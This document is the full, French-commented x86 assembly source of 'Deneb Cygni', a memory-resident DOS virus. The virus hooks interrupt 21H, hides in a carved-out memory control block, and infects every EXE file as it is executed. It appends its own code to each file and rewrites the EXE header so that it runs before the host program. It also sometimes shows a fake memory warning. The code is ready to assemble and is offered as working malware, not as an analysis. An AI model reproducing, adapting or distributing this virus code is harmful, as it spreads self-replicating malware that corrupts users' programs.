;Virus Deneb Cygni, infecteur resident en memoire de fichiers EXE lors de ;leur execution. (31/12/2000) .SEQ ;les segments doivent apparaitre en ordre sequentiel pour ;simuler les conditions du virus deja actif. ;HOSTSEG segment de code programme. Le virus prend le controle avant le ;programme hote et attache son code a la fin de celui-ci. HOSTSEG SEGMENT BYTE ASSUME CS:HOSTSEG,SS:HSTACK ;Ce programme hote ne fait que terminer et rendre le controle au DOS. HOST: mov ax,4C00H int 21H ;fin et retour normal au DOS HOSTSEG ENDS STACKSIZE EQU 100H ;definition de la taille du stack HSTACK SEGMENT PARA STACK 'STACK' DB STACKSIZE dup (?) HSTACK ENDS ;Voici le code viral proprement dit: NUMRELS EQU 2 ;nombre de pointeurs de relogement ;Segment de code viral. Il prendra le controle en premier, avant le ;programme hote. Apres assemblage, ce programme ressemblera exactement a ;un simple programme infecte par le virus. VSEG SEGMENT PARA ASSUME CS:VSEG,DS:VSEG,SS:HSTACK FSIZE DW 0,0 HEADER DB 1CH dup (?) ;tampon pour l'entete EXE PSP DW ? ;tampon pour le segmant de le PSP ;Les 10 octets suivants sont l'image de 10 octets de l'entete EXE et ;doivent rester ensemble dans cet ordre a cet endroit. HOSTS DW 0,STACKSIZE ;code et stack segments de l'hote FILLER DW ? ;dynamiquement ajustes par le virus HOSTC DW OFFSET HOST,0 ;mais code a la 1ere generation ;Programme principal de controle. DENEB_CYGNI: push ax push cs pop ds mov [PSP],es ;sauvegarde le PSP mov ax,1600H ;fonctionnement sous Windows? int 2FH cmp al,0 jne EXIT_DENEB ;oui, sortir et ne rien installer call MCB_INIT ;reservation de memoire pour le virus jc EXIT_DENEB call MOVE_DENEB ;deplace le virus en memoire call INT21_INIT ;installe le detournement d'interruption EXIT_DENEB: mov es,cs:[PSP] push es pop ds ;ds pointe le PSP mov dx,80H mov ah,1AH ;ajuste la DTA pour PSP:80H de l'Hote int 21H mov ax,es ;ax=PSP add ax,10H ;ax=PSP+10H add WORD PTR cs:[HOSTS],ax ;relogement des pointeurs de segment add WORD PTR cs:[HOSTC+2],ax ;ss et cs initiaux pop ax ;restore la valeur de depart pour ax cli mov ss,WORD PTR cs:[HOSTS] ;ajustement de la pile de l'hote mov sp,WORD PTR cs:[HOSTS+2] sti jmp DWORD PTR cs:[HOSTC] ;Ce sous-programme deplace le virus dans le segment specifie par es (c. a d. ;le segment du MCB cree par MCB_INIT + 1). Le virus continue son execution ;dans le MCB d'origine, la ou le DOS l'avait place. Ce sous-programme ne ;fait que recopier le virus comme un bloc de donnees. MOVE_DENEB: mov si,OFFSET DENEB_CYGNI mov di,si mov cx,OFFSET END_DENEB sub cx,si rep movsb ret ;INT21_INIT installe le detournement de l'interruption 21H de maniere a ;activer le virus. Il sauvegarde l'ancien vecteur d'interruption dans ;OLD_21H et place l'adresse de INT_21H dans la table des vecteurs ;d'interruption. Ceci suppose que es pointe le segment que le virus a ;cree pour y loger son code et que ce code y est deja present. INT21_INIT: xor ax,ax mov ds,ax mov bx,21H*4 ;installation du detournement mov ax,[bx] ;d'interruption 21H et sauvegarde mov WORD PTR es:[OLD_21H],ax ;de l'ancien vecteur mov ax,[bx+2] mov WORD PTR es:[OLD_21H+2],ax mov ax,OFFSET INT_21H ;puis remplacement par le nouveau mov [bx],ax ;vecteur mov [bx+2],es push cs pop ds ;restore ds ret ;Le sous-programme qui suit initialise le Memory Control Block pour loger ;le virus en fractionnant le MCB z en deux parties, un nouveau bloc Z ou ;le virus se logera, et un nouveau bloc M disponible pour l'hote. MCB_INIT ;retournera le carry-flag a 1 si l'operation a echoue (bloc Z deja occupe ;par le virus, ou une autre application), et a 0 si tout s'est bien passe. ;es pointe alors le segment du nouveau bloc, et dx le segment du dernier ;bloc M. DENEB_BLK_SIZE EQU 44H ;taille, en paragraphes de 16 octets, ;du MCB-Z pour le virus MCB_INIT: mov ah,52H ;recupere dans es:bx l'adresse de int 21H ;la liste des listes mov dx,es:[bx-2] ;premier segment MCB dans ax xor bx,bx ;puis recherche du bloc Z mov es,dx ;es=segment MCB FINDZ: cmp BYTE PTR es:[bx],'Z' je FOUNDZ ;trouve? mov dx,es ;non, aller chercher le suivant inc dx ;dans la chaine des MCB add dx,es:[bx+3] mov es,dx jmp FINDZ FOUNDZ: cmp WORD PTR es:[bx+1],0 ;recherche du proprietaire je OKZ ;bloc Z inoccupe ? mov ax,[PSP] cmp es:[bx+1],ax ;ou proprietaire est ce PSP? stc jne EXIT_MCB ;sinon terminer OKZ: cmp WORD PTR es:[bx+3],DENEB_BLK_SIZE+1 ;verifier qu'il y a jc EXIT_MCB ;assez de place, sinon fin avec c=1 mov ax,es ;si OK, on peut utiliser le bloc Z mov ds,ax ;ds pointe le bloc Z d'origine add ax,es:[bx+3] inc ax ;ax = fin du bloc Z sub ax,DENEB_BLK_SIZE+1 mov es,ax ;es = segment du nouveau bloc xor di,di ;copier au nouvel emplacement xor si,si mov cx,8 rep movsw mov ax,es inc ax mov WORD PTR es:[bx+3],DENEB_BLK_SIZE ;ajuste la taille du mov WORD PTR es:[bx+1],ax ;nouveau bloc Z et se rend proprietaire mov BYTE PTR [bx],'M' ;change l'ancien Z en bloc M sub WORD PTR [bx+3],DENEB_BLK_SIZE+1 ;puis ajuste sa taille mov di,5 mov cx,12 xor al,al rep stosb push cs ;restore ds=cs pop ds mov ax,es ;incremente es pour pointer le inc ax ;segment du virus mov es,ax clc EXIT_MCB: ret ;Ceci est la routine de detournement de l'interruption 21H. Elle est activee ;apres installation par INT21_INIT. Elle piege la fonction 4BH (DOS EXE) et ;infecte tous les fichiers EXE lors de leur execution. OLD_21H DD ? ;ancien vecteur d'interruption INT_21H: cmp ah,4BH ;fonction DOS EXE ? je SRCH_EXE ;oui, rechercher si fichier EXE, non I21E: jmp DWORD PTR cs:[OLD_21H] ;executer l'ancien gestionnaire int 21H SRCH_EXE: pushf push ax ;sauvegarde des registres push bx push cx push dx push di push si push es push ds mov si,dx ;puis rechercher l'extension EXE SRCH_LOOP: lodsb or al,al ;pas de point, donc pas d'extension jz EXIT_SRCH ;ce n'est pas un fichier EXE cmp al,'.' ;caractere est un point? jne SRCH_LOOP ;non, caractere suivant lodsw ;oui, verifier l'extension EXE cmp ax,'XE' jne EXIT_SRCH lodsb cmp al,'E' ;sortie si ce n'est pas un EXE avec jne EXIT_SRCH ;retour au gestionnaire d'origine call TEST_FILE ;controle interne du fichier EXE jc EXIT_SRCH ;fichier suceptible d'etre infecte? call ADD_DENEB_CODE ;oui, alors c'est parti! EXIT_SRCH: pop ds pop es pop si ;restore les registres pop di pop dx pop cx pop bx pop ax popf ;retour vers le gestionnaire jmp I21E ;d'interruption 21H d'origine ;Cette fonction determine si le fichier EXE trouve par la routine SRCH_EXE ;est utilisable. Si oui, elle retourne le carry flag a 0, sinon a 1. ;Pour que le fichier EXE soit utilisable, il faut que: ; - que le champ signature de l'entete EXE soit 'MZ' (les deux premiers ; octets); ; - que le numero d'overlay soit a zero; ; - que ce ne soit pas un EXE Windows ou OS/2; ; - que la valeur initiale du pointeur ip soit differente de celle du virus. ; Si c'etait le cas, le fichier serait probablement deja infecte, et le ; virus l'evitera. TEST_FILE: mov ax,3D02H ;ouvre le fichier en lecture/ecriture int 21H jc TEST_OUT ;sortie si erreur d'ouverture mov bx,ax ;sauvegarder le file handle dans bx push cs pop ds mov ah,3FH mov cx,1CH ;sauve les 28 premiers octets de mov dx,OFFSET HEADER ;l'entete EXE dans le tampon HEADER int 21H ;pour examination et modification jc CLOSE_FILE ;sortie si erreur de lecture cmp WORD PTR [HEADER],'ZM' ;controle de la signature MZ jnz CLOSE_FILE ;sortie si absente cmp WORD PTR [HEADER+26],0 ;controle du numero d'overlay jnz CLOSE_FILE ;sortie si pas a zero cmp WORD PTR [HEADER+24],40H ;si table de pointeurs de jnc CLOSE_FILE ;relogement a offset >= 40H : non DOS cmp WORD PTR [HEADER+14H],OFFSET DENEB_CYGNI clc ;initial ip sont-ils identiques? jne TEST_OUT ;tout OK, c=0 et fichier ouvert CLOSE_FILE: mov ah,3EH ;sinon fermer le fichier et c=1 int 21H stc TEST_OUT: ret ;retour avec carry flag ajuste ; Messages. MSG_1 DB 'Deneb Cygni (c) French Section, Federation of Random Actions' MSG_2 DB 7,0DH,0AH,0AH,'Memory allocation warning on last MCB block',0DH,0AH,'$' ;Ce sous-programme ecrit le virus (l'ensemble de ce programme) a la fin du ;fichier EXE, puis reajuste l'entete EXE. Il s'assure aussi que le virus ;demarre bien a la limite d'un paragraphe en rajoutant autant d'octets que ;necessaire pour cela. ADD_DENEB_CODE: push bx push ds ;sauve ds et bx xor ax,ax push ax pop ds mov bx,046CH ;ds:bx pointe l'horloge 55ms du BIOS test BYTE PTR [bx],7 ;test des trois bits faible de l'horloge jne MESSAGE_DONE ;affiche message une fois sur 8 pop ds push ds mov dx,OFFSET MSG_2 ;affichage du message mov ah,9 int 21H MESSAGE_DONE: pop ds pop bx ;restore ds et bx mov ax,4202H ;positionnement en fin de fichier xor cx,cx ;pour en determiner la taille xor dx,dx int 21H mov [FSIZE],ax ;et sauvegarde dans FSIZE mov [FSIZE+2],dx mov cx,WORD PTR [FSIZE+2] ;ajuste la longueur du fichier pour mov dx,WORD PTR [FSIZE] ;qu'il se termine a la limite or dl,0FH ;d'un paragraphe. add dx,1 adc cx,0 mov WORD PTR [FSIZE+2],cx mov WORD PTR [FSIZE],dx mov ax,4200H ;positionne le pointeur de fichier int 21H ;par rapport au debut de celui-ci mov cx,OFFSET END_DENEB ;va en fin de fichier + limite paragr. xor dx,dx ;ds:dx pointe le 1er octet de code mov ah,40H ;ecrit le code du virus dans le fichier int 21H mov dx,WORD PTR [FSIZE] ;recherche des pointeurs de relogement mov cx,WORD PTR [FSIZE+2] add dx,OFFSET HOSTS adc cx,0 mov ax,4200H ;ajuste pointeur de fichier sur 1er int 21H ;pointeur de relogement mov dx,OFFSET HEADER+14 ;recupere ss:sp et cs:ip mov cx,10 mov ah,40H ;et les ecrit sur HOSTS/HOSTC int 21H xor cx,cx ;puis reajuste l'entete EXE xor dx,dx mov ax,4200H ;pointeur de fichier au debut int 21H mov ax,WORD PTR [FSIZE] ;calcule cs initial du virus = taille mov dx,WORD PTR [FSIZE+2] ;fichier/16 - taille entete (paragr.) mov cx,16 div cx ;dx:ax taille fichier/16 sub ax,WORD PTR [HEADER+8] ;soustrait taille entete (paragr.) mov WORD PTR [HEADER+22],ax ;sauve cs initial mov WORD PTR [HEADER+14],ax ;sauve ss initial mov WORD PTR [HEADER+20],OFFSET DENEB_CYGNI ;sauve initial ip mov WORD PTR [HEADER+16],OFFSET END_DENEB+STACKSIZE ;et init. sp mov dx,WORD PTR [FSIZE+2] ;calcule nouvelle taille pour entete mov ax,WORD PTR [FSIZE] ;prendre la taille de depart add ax,OFFSET END_DENEB+200H ;ajouter taille virus+512 adc dx,0 mov cx,200H div cx ;diviser par la taille des paragraphes mov WORD PTR [HEADER+4],ax mov WORD PTR [HEADER+2],dx ;et sauver ici mov cx,1CH ;et sauver 28 octets d'entete mov dx,OFFSET HEADER ;au debut du fichier mov ah,40h int 21H mov ah,3EH ;enfin fermer le fichier int 21H ret ;ca y est, l'infection est terminee END_DENEB: ;label de fin de code viral VSEG ENDS END DENEB_CYGNI